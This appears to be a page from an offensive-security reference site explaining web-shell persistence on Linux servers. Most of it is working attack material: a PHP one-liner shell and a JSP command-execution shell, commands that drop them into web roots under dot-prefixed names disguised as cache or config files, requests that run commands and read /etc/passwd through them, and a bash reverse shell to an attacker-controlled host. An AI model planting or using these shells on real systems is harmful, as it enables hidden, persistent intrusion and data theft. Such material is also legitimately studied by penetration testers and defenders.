Skip to content
HackIndex logo

HackIndex

Linux Web Shell Persistence

2 min read Jul 14, 2026

A web shell dropped into the web root gives re-entry through the application layer. It survives reboots, user password changes, and most host-level persistence cleanup. It runs as the web server process user — typically www-data, apache, or nginx — so escalation is usually needed for full system access after re-entry.

PHP web shells

PHP is the most common server-side language on Linux web servers. A minimal shell is a single line.

<?php if(isset($_REQUEST['cmd'])){ echo shell_exec($_REQUEST['cmd']); } ?>
user@host ~ $ # Common web roots
user@host ~ $ echo '<?php if(isset($_REQUEST["cmd"])){ echo shell_exec($_REQUEST["cmd"]); } ?>' > /var/www/html/.config.php
user@host ~ $ echo '<?php if(isset($_REQUEST["cmd"])){ echo shell_exec($_REQUEST["cmd"]); } ?>' > /var/www/html/wp-content/uploads/.cache.php
 
user@host ~ $ # Verify accessible
user@host ~ $ curl http://127.0.0.1/.config.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Prefix the filename with a dot to hide it from directory listings. Placing it in an upload or cache directory reduces visibility further. Name it after a legitimate file type expected in that directory — .cache.php in an uploads folder, .config.php in the root.

Interacting with the shell

┌──(kali㉿kali)-[~]
└─$ # GET request
┌──(kali㉿kali)-[~]
└─$ curl 'http://$TARGET_IP/.config.php?cmd=id'
 
┌──(kali㉿kali)-[~]
└─$ # POST request (less visible in access logs)
┌──(kali㉿kali)-[~]
└─$ curl -X POST http://$TARGET_IP/.config.php -d 'cmd=id'
 
┌──(kali㉿kali)-[~]
└─$ # URL encode complex commands
┌──(kali㉿kali)-[~]
└─$ curl -X POST http://$TARGET_IP/.config.php --data-urlencode 'cmd=cat /etc/passwd'
 
┌──(kali㉿kali)-[~]
└─$ # Trigger reverse shell from web shell
┌──(kali㉿kali)-[~]
└─$ curl -X POST http://$TARGET_IP/.config.php --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

JSP web shells

Use JSP shells on targets running Tomcat or other Java application servers.

<%@@ page import="java.util.*,java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",cmd});
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr);
        disr = dis.readLine();
    }
}
%>
user@host ~ $ # Common Tomcat web roots
user@host ~ $ cp shell.jsp /var/lib/tomcat9/webapps/ROOT/.cache.jsp
user@host ~ $ cp shell.jsp /opt/tomcat/webapps/ROOT/.cache.jsp
 
user@host ~ $ # Verify
user@host ~ $ curl 'http://$TARGET_IP:8080/.cache.jsp?cmd=id'

Cleaning up

user@host ~ $ rm /var/www/html/.config.php
rm /var/www/html/wp-content/uploads/.cache.php
rm /var/lib/tomcat9/webapps/ROOT/.cache.jsp